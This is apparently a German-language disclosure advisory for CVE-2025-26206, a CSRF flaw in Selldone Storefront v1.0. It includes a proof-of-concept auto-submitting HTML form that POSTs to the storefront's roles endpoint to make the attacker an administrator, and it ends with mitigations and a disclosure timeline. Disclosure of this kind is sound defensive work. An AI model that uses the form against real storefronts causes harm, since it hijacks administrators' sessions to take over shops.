
CSRF-Schwachstelle in Selldone Storefront v1.0, die zu einer Rechteausweitung führt (CVE-2025-26206, CVSS 9.0).
Eine kritische Cross-Site-Request-Forgery-(CSRF-)Schwachstelle in Selldone Storefront v1.0 ermöglicht es entfernten Angreifern, Privilegien zu eskalieren, indem sie authentifizierte Benutzer dazu verleiten, zustandsändernde Anfragen über die Anwendungsschicht des Storefronts auszuführen. Entdeckt und verantwortungsvoll offengelegt von Sibhi Balamurugan (@xibhi).
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-26206 |
| Typ | Cross-Site Request Forgery (CWE-352) |
| Produkt | Selldone Storefront |
| Betroffene Version | v1.0 |
| Komponente | index.html / Session-Bootstrap |
| Auswirkung | Privilegieneskalation / Übernahme des Shops |
| CVSS v3.1 | 9.0 (Kritisch) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| Entdecker | Sibhi Balamurugan (@xibhi) |
Selldone Storefront v1.0 verfügte über keine Anti-CSRF-Token-Verifizierung bei zustandsändernden Endpunkten, und Authentifizierungs-Cookies wurden ohne strikte Cross-Site-Grenzen gespeichert (SameSite fehlte).
Wenn ein authentifizierter Shop-Inhaber oder Administrator eine vom Angreifer kontrollierte Webseite besucht, hängt der Browser automatisch die vorhandenen Session-Cookies an Cross-Origin-Anfragen an und führt privilegierte Operationen ohne Zustimmung des Opfers aus.
Angreifer-Seite → Browser des Opfers (hält Session) → Selldone-API (Cookie gesendet, keine CSRF-Prüfung) → Rolle geändert
Ein Angreifer hostet eine bösartige Seite mit einem automatisch absendenden Formular, das auf einen privilegierten Endpunkt abzielt:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
Wenn ein authentifizierter Administrator die Seite besucht, sendet der Browser die Anfrage mit dessen Anmeldedaten ab und stuft das Konto des Angreifers hoch.
X-CSRF-TOKEN oder Synchronizer-Token bei allen Nicht-GET-Anfragen (POST, PUT, DELETE, PATCH) verlangen.SameSite=Lax oder SameSite=Strict zusammen mit den Flags Secure und HttpOnly bei Session-Cookies setzen.Origin und Referer bei allen zustandsändernden Endpunkten überprüfen.| Datum | Meilenstein |
|---|---|
| Feb 2025 | Entdeckt und an den Hersteller gemeldet. |
| 24. Feb 2025 | Erste Sicherheitsmeldung veröffentlicht. |
| 03. Mär 2025 | NVD-Eintrag veröffentlicht. |
| 04. Mär 2025 | NVD-Bewertung mit CVSS 9.0 (Kritisch). |
Entdecker: Sibhi Balamurugan (@xibhi)
Dieses Projekt ist unter der MIT-Lizenz lizenziert.